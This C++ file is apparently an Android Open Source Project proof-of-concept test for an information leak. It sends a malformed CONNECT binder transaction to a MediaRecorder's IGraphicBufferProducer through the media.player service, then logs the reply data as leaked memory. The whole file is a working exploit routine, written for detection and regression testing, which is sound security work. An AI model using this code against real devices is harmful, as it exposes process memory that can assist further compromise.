/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

#include <android/content/AttributionSourceState.h>
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
#include <fcntl.h>
#include <gui/IGraphicBufferProducer.h>
#include <media/IMediaPlayer.h>
#include <media/IMediaPlayerClient.h>
#include <media/IMediaPlayerService.h>
#include <media/IMediaRecorder.h>
#include <sys/stat.h>
#include <sys/time.h>

using namespace android;

int main(__attribute__((unused)) int argc,
         __attribute__((unused)) char *const argv[]) {

  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> MeidaPlayerService = sm->checkService(String16("media.player"));

  // get IMediaPlayerService
  sp<IMediaPlayerService> iMPService =
      IMediaPlayerService::asInterface(MeidaPlayerService);
  ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
  android::content::AttributionSourceState attributionSource;
  attributionSource.packageName = "poc";

  sp<IMediaRecorder> recorder = iMPService->createMediaRecorder(attributionSource);
  ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());

  const char *fileName = "/sdcard/test";
  int fd = open(fileName, O_RDWR | O_CREAT, 0744);
  recorder->setVideoSource(2);
  recorder->setOutputFile(fd);
  recorder->setOutputFormat(0);
  recorder->init();
  recorder->prepare();
  recorder->start();

  // get IGraphicBufferProducer
  sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
  ALOGI("Get iGBP instance, 0x%08lx\n", (unsigned long)iGBP.get());

  Parcel data, reply;
  data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
  data.writeInt32(-1);
  IGraphicBufferProducer::asBinder(iGBP)->transact(10 /*CONNECT*/, data,
                                                   &reply);
  int len = reply.dataAvail();
  ALOGI("dataAvail = %d\n", len);
  unsigned int *leaked_data = (unsigned int *)reply.data();
  for (int i = 0; i < (len / 4); ++i) {
    ALOGE("IGraphicBufferProducer_InfoLeak leaked data = 0x%08x",
          leaked_data[i]);

    if (i < 4 && leaked_data[i] != 0) {
      ALOGE("IGraphicBufferProducer_Info is Leaked");
    }
  }
  return 0;
}
